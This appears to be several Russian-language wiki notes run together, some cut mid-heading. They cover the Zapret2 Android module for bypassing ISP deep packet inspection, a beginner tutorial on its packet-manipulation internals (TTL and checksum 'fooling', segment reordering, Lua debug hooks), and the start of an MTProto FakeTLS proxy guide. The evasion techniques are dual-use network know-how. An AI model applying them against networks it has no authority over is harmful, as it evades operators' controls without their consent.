разблокированный интернет. - Требования: **Android 7.0+**, **root** (Magisk или KernelSU), ядро с поддержкой **NFQUEUE**. - **Конфликтует** с приложениями, которые сами перехватывают пакеты (AdGuard, NetGuard, AFWall+) — их придётся отключить. ## Почему для этого нужен root Zapret работает не как приложение поверх системы, а **вклинивается в обработку сетевых пакетов на уровне ядра Linux** — через `iptables` и очередь **NFQUEUE** (механизм, передающий пакеты из ядра в программу-обработчик `nfqws`). Управлять netfilter/iptables и вешать на трафик обработчик **может только процесс с root-правами**. Обычное приложение из песочницы Android так не умеет — поэтому либо root, либо безрутовые обходы через локальный VPN-сервис (см. [[Zapret/android#ByeByeDPI (без Root)|ByeByeDPI]], у которого свои ограничения). **Проще говоря:** чтобы «дурить» DPI напрямую в сетевом стеке (а не заворачивать трафик в туннель), нужны права администратора системы. Их и даёт root — это один из главных практических поводов его ставить. ## Как это работает и что значит «маскировка» (без мифов) Zapret2 применяет техники **desync** — рассылает специально сформированные/раздробленные пакеты, из-за которых **система глубокой инспекции пакетов (DPI — Deep Packet Inspection) провайдера не может корректно опознать** запрещённый сервис в вашем соединении и, соответственно, не блокирует его. Механику desync подробно не дублирую — она общая для всего семейства zapret; см. материалы по [[Zapret/android|Zapret]] и стратегиям. > [!warning] «Провайдер не видит трафик» — это упрощение > Точнее: провайдер **по-прежнему видит ваши пакеты**, но его DPI **не может классифицировать** их как, например, YouTube и применить блокировку. Zapret2 **не даёт анонимности** и не скрывает сам факт, что вы в сети (репозиторий прямо отмечает «no anonymity»). Это **обход конкретной блокировки**, а не VPN/Tor. И это «гонка вооружений»: под разных провайдеров нужны разные стратегии, а то, что работает сегодня, провайдер может научиться детектировать завтра. ## Установка Модуль ставится как обычный Magisk-модуль; опционально — приложение-менеджер с графическим интерфейсом. - [ ] Иметь **root**: [[root/Magisk|Magisk]] (или KernelSU) и ядро с поддержкой **NFQUEUE** (модуль показывает статус `NFQueue support: Supported`). - [ ] Скачать `zapret2-magisk-v*.zip` из [релизов репозитория](https://git.zapret.moe/zapretdiscordyoutube/magisk-zapret2/releases). - [ ] Magisk → **Модули** → **Установить из хранилища** → выбрать zip → **перезагрузиться**. - [ ] *(Опционально, но удобно)* установить APK-менеджер `zapret2-control-v*.apk` — графическое управление стратегиями, хостлистами и логами. Проще всего ставить его из [F-Droid-репозитория Zapret Apps](https://git.zapret.moe/fdroid/repo) — клиент F-Droid сам предложит обновления и проверит подпись. - [ ] В менеджере запустить **DPI Bypass Service** и при желании включить **автозапуск (Start on boot)**. > [!note] Терминал вместо GUI > Модуль управляется и командами: `zapret2-start`, `zapret2-stop`, `zapret2-restart`, `zapret2-status`. GUI-приложение необязательно, но с ним проще подбирать стратегии. ## Интерфейс приложения-менеджера ![[magisk-zapret2-ui-2026-07.png]] Управление разбито на вкладки (на скриншоте — версия модуля v1.5.3): - **Control** — старт/стоп сервиса, статус (`DPI Bypass Service: Running`), автозапуск, режим **«WiFi only»**, число первых пакетов для перехвата, статус root и **NFQueue support**, состояние правил `iptables`. - **Strategies** — выбор стратегии обхода **по каждому сервису отдельно**: YouTube (TCP 443 / QUIC UDP 443), Discord (TCP/QUIC), Voice/STUN, Telegram, WhatsApp, Twitch, соцсети (Facebook, Instagram, Twitter/X), плюс GitHub, Steam, SoundCloud и др. - **Hostlists** — списки доменов, к которым применяется обход (на скриншоте — **126 тыс. доменов** в 71 файле: `russia-blacklist`, `ipset-discord`, `ipset-twitch`, `ipset-steam`, `google`, `microsoft` и т.д.). См. общий разбор [[Zapret/hostlist|хостлистов]]. - **Logs / Command** — итоговая командная строка `nfqws2` (со стратегиями `--lua-init`, `tls_clienthello_*.bin` и т.п.) и логи для диагностики. > [!note] Версии быстро меняются > Модуль обновляется очень часто (на март 2026 — релиз `v1.9.119001`, всего 128+ релизов). Скриншот выше — с версии v1.5.3, интерфейс и номера могут отличаться. Ставьте свежий релиз из репозитория. ## Раздача разблокированного интернета (hotspot / роутер) Поскольку обход работает **на уровне сетевого фильтра всего устройства**, а не в отдельном приложении, телефон с активным Zapret2 можно **раздавать по Wi-Fi как точку доступа** — и подключённые к нему устройства (ноутбук, телевизор, консоль) получат **уже разблокированный** интернет, сами ничего не настраивая. Это удобный побочный эффект root-обхода. Подробнее про сценарий «телефон/роутер как шлюз» — в [[Zapret/router|заметке про роутер]]. ## Ограничения и подводные камни > [!warning] Конфликт с приложениями, перехватывающими пакеты > Zapret2 сам вешается на сетевой стек через NFQUEUE, поэтому **несовместим с приложениями, которые тоже перехватывают трафик**: **AdGuard, NetGuard, AFWall+** и подобные локальные-VPN/файрволы. Их нужно отключить, иначе обход не заработает или будет конфликт. - **Нужна поддержка NFQUEUE в ядре.** Если `NFQueue support` показывает не `Supported` — на этом ядре модуль не заработает (частый вопрос на кастомных прошивках). - **Под разных провайдеров — разные стратегии.** Универсальной настройки нет: если YouTube не открывается, меняют стратегию для соответствующего сервиса. - **Влияние на батарею минимально** — обрабатываются лишь первые пакеты соединения, а не весь трафик. - **Законность зависит от юрисдикции** — учитывайте местные правила. - **Root снижает часть защит устройства** и может влиять на работу банковских приложений (см. про скрытие root в [[root/Magisk#DenyList и скрытие root|Magisk]] / [[root/ReSukiSU#SUSFS — скрытие root от приложений|SUSFS]]). ## 📚 См. также - [[Zapret/android|Дурилки трафика (DPI) для Android]] — обзор всех способов обхода на Android, включая безрутовые - [[root/Magisk|Magisk]] и [[root/Magisk-install|Установка Magisk]] — как получить root, на котором работает модуль - [[root/ReSukiSU|ReSukiSU/KernelSU]] — альтернативный root (KernelSU тоже поддерживается) - [[Zapret/router|Роутер и раздача обхода]] — как раздавать разблокированный интернет дальше - [[Zapret/hostlist|Хостлисты]] — как формируются списки доменов для обхода - 🔗 [Репозиторий magisk-zapret2](https://git.zapret.moe/zapretdiscordyoutube/magisk-zapret2) — исходники, релизы, инструкции - 📦 [F-Droid-репозиторий Zapret Apps](https://git.zapret.moe/fdroid/repo) — подписанные APK (Zapret2 Control, Zapret KVN, ZaStoGram) с автообновлением через клиент F-Droid - 🔗 [zapret (bol-van)](https://github.com/bol-van/zapret) — родительский проект DPI-обхода --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Zapret/magisk-zapret2.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- ## Учебник (для новичков) [[zapret2_01|Zapret2 для новичков — 01: сетевой стек (L2–L7) простыми словами]] [[zapret2_02|Zapret2 для новичков — 02: TCP (seq/ack, окно, MSS) понятным языком]] [[zapret2_03|Zapret2 для новичков — 03: перехват пакетов и вердикты (NFQUEUE/WinDivert)]] [[zapret2_04|Zapret2 для новичков — 04: dissect/reconstruct и что такое desync]] [[zapret2_05|Zapret2 для новичков — 05: payload types, reasm/replay и маркеры]] [[zapret2_06|Zapret2 для новичков — 06: Lua pipeline (инстансы, аргументы, дебаг)]] [[zapret2_start_cutoff|Zapret2: start/cutoff и почему n2 --- date: 2026-01-21 tags: - zapret - zapret2 - networking - learning aliases: - Zapret2 учебник 01 --- # Zapret2 для новичков — 01: сетевой стек (L2–L7) простыми словами Эта заметка нужна, чтобы дальше было легко понимать код zapret2 (nfqws2/winws2) и термины вроде “raw packet”, “payload”, “TTL”, “checksum”, “MSS”. ## 1) Главная идея Сеть можно представить как “слои”: - **L2 (канальный)**: Ethernet/Wi‑Fi — доставка “кадра” до следующего устройства. - **L3 (сетевой)**: IP — доставка “пакета” до удалённого адреса (маршрутизация). - **L4 (транспорт)**: TCP/UDP — доставка данных приложений + (в случае TCP) порядок, надёжность, контроль потока. - **L7 (прикладной)**: HTTP/TLS/QUIC/… — то, что реально “понимают” браузер и сервер. Zapret2 работает с **L3/L4 пакетами** (сырые IPv4/IPv6 пакеты) и иногда знает достаточно про L7, чтобы распознать тип полезной нагрузки (например `tls_client_hello`). ## 2) Что такое “пакет” и “payload” Упрощённо, для TCP: ``` IP header | TCP header | TCP payload (данные приложения: HTTP/TLS/...) ``` - **IP header**: “куда”, “откуда”, TTL/HL, флаги фрагментации, checksum (IPv4). - **TCP header**: порты, `seq/ack`, флаги (`SYN`, `ACK`, …), окно, опции (timestamp, SACK, …). - **payload**: байты приложения (например строка `GET / HTTP/1.1...` или TLS ClientHello). Zapret2: - умеет **разобрать** raw пакет в “диссект” (структуру полей), - и умеет **собрать обратно** raw пакет из диссекта (reconstruct), - а также может **отправлять** новые пакеты на основе текущего L3/L4 контекста. ## 3) TCP vs UDP (почему в zapret так много TCP-логики) ### TCP - есть “соединение” (логически), состояние, порядок, ретрансляции - важны `seq/ack`, MSS, окно, опции - многие DPI техники используют различия в том, как разные системы/устройства собирают поток TCP ### UDP - нет соединения и порядка “по умолчанию” - QUIC живёт поверх UDP, и “состояние” и шифрование реализуются на уровне QUIC Отсюда в zapret2: - много техник для TCP (`multisplit`, `multidisorder`, `seqovl`, …) - отдельная логика для QUIC (`quic_initial`, `decrypt_data`, …) ## 4) TTL/HL и почему это “инструмент” - **IPv4 TTL** и **IPv6 Hop Limit (HL)** уменьшаются на каждом маршрутизаторе. - Если TTL/HL станет 0 — пакет не дойдёт до сервера. Поэтому изменение TTL — популярная “заголовочная” техника: можно сделать так, чтобы пакет **принял DPI на пути**, но до сервера он не дошёл. В zapret2 это относится к **standard fooling** (см. `ip_ttl`, `ip6_ttl`, `ip_autottl`). ## 5) Checksum (очень коротко) Checksum — это контрольная сумма для проверки целостности. - у TCP/UDP есть checksum (на базе pseudo-header + payload) - если сделать checksum неправильной, ОС/стек часто выбросит пакет В zapret2 это используется как “fooling”: например `badsum`. ## 6) MSS, MTU, сегментация и фрагментация (не путать) Очень важно различать две вещи: ### TCP сегментация (L4) TCP может разбить большой payload на несколько TCP сегментов так, чтобы они влезли в MTU канала. Обычно это связано с **MSS** (Maximum Segment Size). ### IP фрагментация (L3) IP может разбить **один IP пакет** на несколько IP фрагментов (IPv4 или IPv6 fragment header). Это другой механизм, более низкого уровня. В zapret2: - “логические” разрезы типа `multisplit` делают **TCP сегменты** на уровне полезной нагрузки, - а опция `ipfrag` может потом сверху сделать **IP фрагменты** уже для собранных сегментов. ## 7) Мини‑словарь (запомнить) - **raw packet** — байты IP пакета как есть. - **dissect** — разобранная структура пакета (таблицы `ip/ip6/tcp/udp/payload`). - **reconstruct** — сборка raw пакета из диссекта. - **fooling** — “порча” заголовков, чтобы сервер пакет не принял, а DPI принял. - **payload type** — классификация полезной нагрузки (`http_req`, `tls_client_hello`, `quic_initial`). ## 8) Что читать дальше - `[[Zapret2 - 02 - TCP для новичков (seq/ack, окна, MSS)]]` - `[[Zapret2 - 03 - Перехват пакетов и вердикты (NFQUEUE/WinDivert)]]` - `[[Zapret2 - Roadmap обучения]]` --- --- date: 2026-01-21 tags: - zapret - zapret2 - tcp - networking - learning aliases: - Zapret2 учебник 02 --- # Zapret2 для новичков — 02: TCP (seq/ack, окно, MSS) понятным языком Эта заметка объясняет те TCP‑механизмы, на которых “держится” большая часть логики zapret2. ## 1) TCP как “поток байт” TCP для приложения выглядит как непрерывный поток байт. Но по сети ходят **пакеты**, каждый несёт кусок этого потока. TCP гарантирует: - порядок (байты “склеятся” правильно), - надёжность (потерянное будет ретранслировано), - контроль потока (чтобы не переполнить принимающую сторону). ## 2) Sequence number (seq): “номер первого байта” Упрощённо: - `seq` в TCP сегменте указывает **номер первого байта payload** в общем потоке. Пример: - сегмент A: `seq=1000`, payload длиной 200 байт → несёт байты `[1000..1199]` - сегмент B: `seq=1200`, payload длиной 100 байт → несёт байты `[1200..1299]` ## 3) Acknowledgement (ack): “всё до N получил” `ack` (обычно) означает: - “я получил все байты до `ack-1`, пришли следующий байт `ack`”. Это важно для понимания: - почему “неправильный ack” может заставить ОС отбросить пакет, - почему изменение `ack`/`seq` — это сильный рычаг в “fooling”. ## 4) Окно (window): сколько данных можно принять TCP окно показывает, сколько данных приёмник готов принять сейчас. Отсюда идея техник: - “всунуть” часть сегмента **вне окна**: сервер это игнорирует, но DPI может попытаться прочитать. В zapret2 это связано с `seqovl` (см. `[[multisplit]]` и `[[multidisorder]]`). ## 5) Retransmission (ретрансляция) Если ACK не пришёл, TCP отправляет сегмент снова. С точки зрения наблюдателя (и DPI) это выглядит как “ещё один похожий пакет с тем же seq”. Многие техники пытаются сделать “картинку”, похожую на ретрансляции, чтобы DPI было сложнее понять, где оригинал. ## 6) MSS и почему у вас “вдруг стало много пакетов” MSS — максимальный размер TCP payload в одном сегменте (примерно MTU минус заголовки). Если payload больше MSS: - он будет разбит на несколько сегментов. В zapret2 есть **автосегментация по MSS** при отправке: - даже если вы “логически” разрезали на 2 части, каждая часть может быть ещё порезана по MSS. Это объясняет, почему в логах иногда улетает больше сегментов, чем вы ожидали. ## 7) Почему порядок важен (multisplit vs multidisorder) - `multisplit` шлёт сегменты “с начала к концу”. - `multidisorder` шлёт “с конца к началу”. Так можно получить ситуации, когда: - в буфере приёмника сначала лежит “хвост”, а потом приходит “голова”, - и разные системы/стеки по‑разному обрабатывают перекрытия (overlap) и порядок. ## 8) Мини‑практика (без опасных действий) Цель упражнений — **понять данные**, а не “обходить”. - Добавь в профиль `--lua-desync=posdebug` и посмотри, как меняются `n/d/b/s/p`. - Добавь `--lua-desync=luaexec:code="DLOG('seq '..tostring(desync.dis.tcp.th_seq)..' ack '..tostring(desync.dis.tcp.th_ack))"` — и увидишь, что это обычные числа и их можно анализировать. ## 9) Что читать дальше - `[[Zapret2 - 03 - Перехват пакетов и вердикты (NFQUEUE/WinDivert)]]` - `[[Zapret2 - 04 - Dissect/Reconstruct и структура desync]]` --- --- date: 2026-01-21 tags: - zapret - zapret2 - nfqws2 - winws2 - networking - learning aliases: - Zapret2 учебник 03 --- # Zapret2 для новичков — 03: перехват пакетов и вердикты (NFQUEUE/WinDivert) Цель: понять “где” стоит zapret2 и что значит `PASS/MODIFY/DROP`. ## 1) Где стоит программа в системе ### Linux (nfqws2) Обычно схема такая: 1) правила nftables/iptables направляют некоторые пакеты в **NFQUEUE** 2) `nfqws2` читает их в userspace 3) программа решает: пропустить/изменить/дропнуть 4) ядро применяет решение и продолжает обработку По коду это видно в `nfq2/nfqws.c`: callback NFQUEUE получает raw байты и вызывает обработчик, который возвращает вердикт. ### Windows (winws2) Аналогичная идея, но вместо NFQUEUE используется перехват на уровне драйвера WinDivert: 1) драйвер отдаёт пакеты в userspace 2) winws2 решает, что делать 3) пакет либо возвращается обратно (modified/unmodified), либо отбрасывается ## 2) Что такое “вердикт” В zapret2 есть три ключевых исхода для перехваченного пакета: - **PASS**: “пропусти пакет дальше как есть” - **DROP**: “не отдавай этот пакет дальше” (он как будто “потерялся”) - **MODIFY**: “пропусти, но с изменёнными байтами” Важно: - MODIFY обычно означает, что пакет **пересобран из диссекта** (reconstruct), а не “чуть поправлен в сыром виде”. ## 3) Почему отправка фейков не равна MODIFY `fake` и похожие функции часто делают: - отправляют **дополнительный** пакет “сами” (rawsend), - но **не обязаны** менять перехваченный пакет. Поэтому возможна типичная комбинация: - `fake` отправил “лишний” пакет, - перехваченный пакет дальше пошёл как обычно (PASS), если его никто не дропнул. Это нормальная модель: “сделали дополнительный шум” и “не трогали оригинал” (или трогали другим инстансом). ## 4) Почему нужно ограничивать перехват (производительность) Перехватывать “весь порт” — дорого: - каждый пакет будет идти в userspace, - Lua будет запускаться часто, - CPU может улететь в 100%. Поэтому в zapret2 активно используют: - фильтры `--filter-*` - `--payload=...` - `--in-range/--out-range` - `cutoff` (чтобы перестать вызываться после “критической фазы”) ## 5) Мини‑практика: “увидеть вердикты в логах” Самое простое для обучения: - включить `--debug` - добавить `--lua-desync=pass` или `--lua-desync=pktdebug` Цель: заметить, что каждый перехваченный пакет даёт лог “что пришло” → “какие Lua инстансы вызвались” → “какой verdict вернулся”. --- --- date: 2026-01-21 tags: - zapret - zapret2 - lua - networking - learning aliases: - Zapret2 учебник 04 --- # Zapret2 для новичков — 04: dissect/reconstruct и что такое `desync` Цель: научиться “читать” то, что видит Lua‑функция, и понимать, откуда берутся поля. ## 1) `desync` — главный объект, который получает Lua Каждый `--lua-desync=...` вызывает Lua‑функцию вида: ```lua function something(ctx, desync) ... end ``` `desync` — это таблица, в которой есть: - `desync.dis` — текущий диссект (структура IP/TCP/UDP/payload) - `desync.arg` — аргументы текущего инстанса (все строки/флаги) - `desync.l7payload` / `desync.l7proto` — распознанные типы - `desync.track` — conntrack‑состояние (может быть nil) - `desync.reasm_data` / `desync.decrypt_data` — если сработал механизм сборки - флаги про replay (например `desync.replay`, `desync.replay_piece`, …) ## 2) Что такое `desync.dis` (диссект) Упрощённо: - `desync.dis.ip` или `desync.dis.ip6` — IP заголовок - `desync.dis.tcp` или `desync.dis.udp` — транспортный заголовок - `desync.dis.payload` — байты полезной нагрузки (string) Для TCP полезно знать, что: - `desync.dis.tcp.th_seq`, `th_ack`, `th_flags`, `th_win`, `th_urp` — основные поля - `desync.dis.tcp.options` — массив tcp‑опций (timestamp, md5, nop, …) ## 3) Почему “диссект” удобнее, чем raw С raw пакетами неудобно работать: - нужно помнить смещения полей - легко ошибиться - сложно корректно пересчитать checksum Поэтому zapret2 большую часть модификаций делает так: 1) разобрать → диссект 2) поменять поля в диссекте 3) собрать raw обратно (reconstruct) ## 4) Как debuggить `desync` Есть готовые функции (в `lua/zapret-lib.lua`): - `pktdebug` — печатает весь `desync` (большой вывод) - `argdebug` — печатает только `desync.arg` - `posdebug` — печатает счётчики conntrack и наличие `reasm/decrypt/replay` Минимальные “учебные” вставки: ```bash --lua-desync=argdebug --lua-desync=posdebug ``` ## 5) Что такое “standard args” Многие стратегии (`fake`, `multisplit`, `multidisorder`) принимают одинаковые “блоки” аргументов: - direction (dir=in/out/any) - payload (payload=...) - fooling (ttl, md5, flags, badsum, …) - ipid (ip_id=seq/rnd/…) - rawsend (repeats/ifout/fwmark) - ipfrag (ipfrag_pos_tcp/…) Почему так сделано: - проще комбинировать техники, - один и тот же механизм отправки/реконструкции применяет эти опции одинаково. ## 6) Что читать дальше - `[[Zapret2 - 05 - Payload types, reasm/replay и маркеры]]` - `[[Zapret2 - lua-desync]]` --- --- date: 2026-01-21 tags: - zapret - zapret2 - payload - lua - learning aliases: - Zapret2 учебник 05 --- # Zapret2 для новичков — 05: payload types, reasm/replay и маркеры Цель: понять, как zapret2 отличает `http_req` от `tls_client_hello`, зачем нужен `reasm_data` и почему “маркеры” (host/midsld/…) иногда не работают. ## 1) `l7proto` vs `l7payload` Это разные уровни классификации: - `l7proto`: “какой протокол потока” (tls/http/quic/…) - `l7payload`: “какой именно тип полезной нагрузки” (http_req, tls_client_hello, quic_initial, …) В CLI это отражается так: - `--filter-l7=tls,http,quic` — фильтр протокола потока - `--payload=tls_client_hello` — фильтр типов payload внутри профиля ## 2) Почему payload важнее для Lua стратегий Многие стратегии должны срабатывать только на “первом важном пакете”: - HTTP request (где виден Host) - TLS ClientHello (где виден SNI) - QUIC Initial (где тоже “есть hello”, но шифрованнее и сложнее) Поэтому фильтрация по payload экономит CPU и делает поведение предсказуемым. ## 3) `reasm_data`: когда один payload приходит в нескольких TCP сегментах Иногда полезная нагрузка не помещается в один TCP сегмент (например TLS ClientHello с kyber). Тогда zapret2 может собрать несколько сегментов в один “логический payload”: - `desync.reasm_data` — полный собранный блок Ключевой момент: - стратегии типа `multisplit`/`multidisorder` работают “умнее”, если видят `reasm_data`: они режут **весь reasm**, а не только текущий кусок. ## 4) `replay`: почему пакеты иногда “задерживают и переигрывают” Если нужно сначала накопить части payload (для reasm) или выполнить серию Lua‑инстансов, система может: 1) временно задержать часть пакетов 2) когда готово состояние (`reasm_data`), “переиграть” (replay) эти пакеты Отсюда поля типа: - `desync.replay`, `desync.replay_piece`, `desync.replay_piece_count` И поведение: - многие стратегии делают основную работу только на `replay_first(...)`, а дальше дропают “повторные” части, потому что уже отправили reasm в нужной форме. ## 5) Маркеры: что это и зачем Маркеры — это способ указать позицию “логически”, а не байтовым смещением. Примеры маркеров: - `method` (HTTP метод) - `host`, `endhost`, `midsld` (позиции внутри Host/SNI домена) - `sniext`, `extlen` (TLS структуры) Можно писать: - `midsld+1`, `endhost-2`, `-10`, `100` И использовать в: - `multisplit:pos=...` - `multidisorder:pos=...:seqovl=...` Почему маркер может “не сработать”: - payload не распознан (l7payload = unknown) - в payload нет нужной структуры (например нет SNI) - маркер невалиден для данного payload типа ## 6) Мини‑практика: “проверить, распознан ли payload” Добавь: ```bash --lua-desync=luaexec:code="DLOG('l7payload '..tostring(desync.l7payload)..' l7proto '..tostring(desync.l7proto))" ``` И сравни с ожиданиями. ## 7) Что читать дальше - `[[Zapret2 - 06 - Lua pipeline: инстансы, args, дебаг]]` - `[[multisplit]]` и `[[multidisorder]]` (там маркеры используются в реальной технике) --- --- date: 2026-01-21 tags: - zapret - zapret2 - lua - learning aliases: - Zapret2 учебник 06 --- # Zapret2 для новичков — 06: Lua pipeline (инстансы, аргументы, дебаг) Цель: понять, как читается строка `--lua-desync=...`, что такое “инстанс”, как данные переходят между функциями, и как дебажить без хаоса. ## 1) Инстанс: что это Каждая опция `--lua-desync=...` создаёт **инстанс**: - имя функции (например `fake`) - набор аргументов (`desync.arg`) - позиция в профиле (порядок выполнения) Инстансы выполняются **строго по порядку**, в рамках активного профиля. ## 2) Синтаксис аргументов (важная мелочь) Формат: ```text --lua-desync=function:arg1[=val1]:arg2[=val2]:flag3:flag4 ``` Особенность: - все значения — строки - если `=val` отсутствует, значение считается пустой строкой `""` (а это “true” в Lua) Поэтому “флаги” пишутся как: - `:optional`, `:nodrop`, `:tcp_ts_up`, `:ipfrag`, `:ipfrag_disorder` ## 3) Как стандартные блоки “прикручиваются” к стратегиям Большинство стратегий не реализуют “отправку” вручную. Они вызывают общий отправщик, который: - делает deepcopy диссекта при необходимости - применяет `apply_fooling` (TTL/MD5/flags/…) - при необходимости режет payload по MSS - применяет `ip_id` политику - затем может применить `ipfrag` (L3 фрагментацию) - и в конце делает `rawsend` Из-за этого “standard args” работают согласованно и предсказуемо. ## 4) Вердикт и приоритет Каждый инстанс возвращает: - `PASS` (ничего не блокировать) - `DROP` (заблокировать перехваченный пакет) - `MODIFY` (передать изменённый пакет) Итоговый вердикт по пакету выбирается с приоритетом: `DROP > MODIFY > PASS`. Практический вывод: - достаточно одного `DROP`, чтобы оригинал не ушёл - `fake` может отправить “доп. пакет”, но если оригинал не дропнут — он уйдёт ## 5) Cutoff: как перестать вызываться и сэкономить CPU В zapret2 есть идея “самоотсечения”: - инстанс может выключить себя (по направлению) - или выключить весь Lua профиль (lua cutoff) Это нужно, чтобы после “критической фазы” (например первых N пакетов) больше не тратить ресурсы на Lua. ## 6) 3 инструмента дебага (must-have) ### `argdebug` Печатает `desync.arg` текущего инстанса. ### `posdebug` Печатает счётчики conntrack (`n/d/b/s/p`) и статус `reasm/decrypt/replay`. ### `pktdebug` Печатает весь `desync` (много текста, но иногда незаменимо). ## 7) Мини‑рецепт “дебажим стратегию без каши” 1) ограничить профиль по `--payload=...` и `--out-range=...` 2) поставить `--lua-desync=posdebug` первым 3) поставить тестируемую стратегию 4) при необходимости — `argdebug` рядом Так вы увидите: - когда стратегия сработала - на каком payload’е - был ли reasm/replay ## 8) Что читать дальше - `[[fake]]`, `[[multisplit]]`, `[[multidisorder]]` - `[[Zapret2 - Roadmap обучения]]` --- --- date: 2026-01-21 tags: - zapret - zapret2 - winws2 - nfqws2 - learning aliases: - Zapret2 start cutoff - Zapret2 n2 n3 clienthello --- # Zapret2: start/cutoff и почему `n2 --- title: "✈️ MTProto Proxy — полный гайд" --- # MTProto Proxy — Полный гайд ## Что это такое MTProto Proxy (MTProxy) — специализированный прокси-сервер для Telegram. В отличие от VPN, он работает **только** с Telegram и встроен прямо в приложение — не нужно ставить дополнительный софт. Пользователь получает ссылку `tg://proxy?server=...&port=...&secret=...`, нажимает на неё — и Telegram начинает работать через прокси. Одно касание. ## Зачем нужен 1. **Обход замедления Telegram** — с января 2026 РКН замедляет медиа в Telegram до 128 КБ/с 2. **Работает когда VLESS падает** — 17 февраля 2026 VLESS массово "заболел", MTProxy с FakeTLS продолжал работать на полной скорости 3. **Не нужен VPN-клиент** — настройка в одно касание через ссылку 4. **Низкий расход батареи** — не держит VPN-тоннель для всего устройства 5. **Дополняет VLESS** — MTProxy для Telegram + VLESS для остального трафика ## Ключевые ограничения - Работает **только с Telegram** (не маршрутизирует другой трафик) - **Звонки не работают** через MTProxy — архитектурное ограничение Telegram (нужен SOCKS5) - На мобильных сетях РФ может не работать (IP whitelisting) - Публичные прокси блокируются РКН за часы/дни — нужен приватный сервер ## Хронология событий в России (2025-2026) | Дата | Событие | |------|---------| | Август 2025 | РКН заблокировал звонки в Telegram/WhatsApp | | Сентябрь 2025 | VMess заблокирован в РФ | | Декабрь 2025 | Закон об обязательной установке ТСПУ на все трансграничные каналы | | Январь 2026 | Медиа в Telegram замедлено до 128 КБ/с | | 17 февраля 2026 | Массовые сбои VLESS+Reality (порог 16 КБ, блокировка IP на 10 мин) | | 1 марта 2026 | РКН получил контроль над магистральным трафиком | | Март 2026 | MTProxy с FakeTLS на приватных серверах — работает | ## Структура гайда - [01-protocol.md](01-protocol.md) — Протокол: 3 режима, как работает FakeTLS - [02-implementations.md](02-implementations.md) — 5 независимых реализаций (telemt/mtg/mtprotoproxy/mtproto_proxy/mtproto.zig) - [03-telemt.md](03-telemt.md) — Telemt (Rust) — лучший для бота с per-user ключами - [04-mtg.md](04-mtg.md) — MTG (Go) — лучший для обхода DPI (Doppelganger) - [05-censorship.md](05-censorship.md) — ТСПУ, 6 слоёв детекции, как обходить - [06-vs-vless.md](06-vs-vless.md) — MTProxy vs VLESS: когда что использовать - [07-nginx-haproxy.md](07-nginx-haproxy.md) — SNI routing, share порта 443 с сайтом - [08-best-practices.md](08-best-practices.md) — Выбор домена, VPS, RealiTLScanner - [09-bot-integration.md](09-bot-integration.md) — Интеграция с Telegram-ботом (telemt REST API) - [10-telemt-logs-dpi.md](10-telemt-logs-dpi.md) — Чтение логов telemt 3.4.x: JA4-фингерпринты, `expected_64_got_0`, детект ТСПУ - [11-telemt-server-setup.md](11-telemt-server-setup.md) — telemt в продакшн: 3 инстанса + systemd + `client_mss="tspu"` + UFW rate-limit + iOS keepalive - [[mtproxy/mtproto-zig|mtproto.zig]] — Zig-реализация: обход DPI «под ключ» (TCPMSS + nfqws) - [[mtproxy/mtproto-zig-setup|mtproto.zig — настройка (runbook)]] — пошагово + диагностика + TCPMSS/SYN-ACK приёмы - [[mtproxy/ja4-sni-client-side|Кто может менять JA4/SNI]] — детекция июнь 2026; почему чистый обход (смена JA4/ротация SNI) только клиентский - [[mtproxy/tdlib-obf-client-side-stealth|tdlib-obf — клиентский TDLib с маскировкой JA4]] — форк официальной библиотеки клиента, который строит свежий браузерный ClientHello (PQ-профили, лечит #30733) - [[mtproxy/tsrman-tg-android-faketls|tsrman/tg — Telegram для Android со сменой JA4]] — готовый GUI-клиент: форк официального приложения, меняет JA4 на Firefox-подобный + джиттер коннектов (проверен на безопасность) - [[mtproxy/telegram-wss-transport|WSS: MTProto внутри WebSocket]] — другой транспорт вместо MTProxy: подключение к веб-релеям Telegram (`kws2/kws4.web.telegram.org/apiws`) без своего сервера; мосты (tg-ws-proxy, ZapretGUI) и нативная поддержка в форках клиентов - [[mtproxy/telegram-wss-limits|Ограничения WSS: что не работает и почему]] — датацентры без релея, медиа и стикеры через CDN, звонки, лимиты Cloudflare, типичные диагнозы --- # Протокол MTProto Proxy ## Официальная спецификация Протокол определён Telegram. Официальный репозиторий: [TelegramMessenger/MTProxy](https://github.com/TelegramMessenger/MTProxy) (C, GPLv2). ## Три режима ### Classic (без префикса) - **Секрет:** 32 hex-символа (16 байт) - **Транспорт:** Intermediate (`0xeeeeeeee`) с обфускацией AES-256-CTR - **Добавлен:** Май 2018 (первый коммит) - **Защита от DPI:** Слабая — паттерны пакетов легко детектируются - **Статус:** Устаревший, не использовать ### Secure / dd (Padded Intermediate) - **Секрет:** `dd` + 32 hex-символа - **Транспорт:** Padded Intermediate (`0xdddddddd`) — добавляет 0-15 случайных байт к каждому пакету - **Добавлен:** Июль 2018 - **Защита от DPI:** Средняя — маскирует характерные размеры пакетов - **Статус:** Можно использовать, но FakeTLS лучше ### FakeTLS / ee (рекомендуемый) - **Секрет:** `ee` + 32 hex + hex-кодировка домена - **Пример:** `ee0123...abcdef676f6f676c652e636f6d` (google.com) - **Транспорт:** Весь трафик обёрнут в TLS 1.3 записи - **Добавлен:** Июль 2019 (флаг `-D domain.com` в официальном MTProxy) - **Защита от DPI:** Высокая — выглядит как обычный HTTPS **Важно:** FakeTLS — это **НЕ настоящий TLS**. Это кастомный протокол, который *выглядит* как TLS на уровне байтов. Nginx/HAProxy не могут его терминировать. ## Как работает FakeTLS handshake ``` Клиент → Сервер: Фейковый TLS ClientHello (517 байт) - SNI = домен из секрета (например, google.com) - Random содержит HMAC-SHA256 дайджест для верификации секрета Сервер → Клиент: Фейковый ServerHello + ChangeCipherSpec - Имитирует ответ реального TLS-сервера - Размер ответа копирует реальный сертификат домена Далее: "Application Data" записи (тип 0x17) - Внутри: зашифрованный MTProto трафик - Макс. размер записи: 16408 байт ``` DPI видит обычное TLS 1.3 соединение к `google.com`. ## Формат секрета для клиента ``` Формат ee-секрета: ee + <16 байт секрета в hex> + <домен в hex> Пример: Секрет сервера: 0123456789abcdef0123456789abcdef Домен: google.com ee0123456789abcdef0123456789abcdef676f6f676c652e636f6d ^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 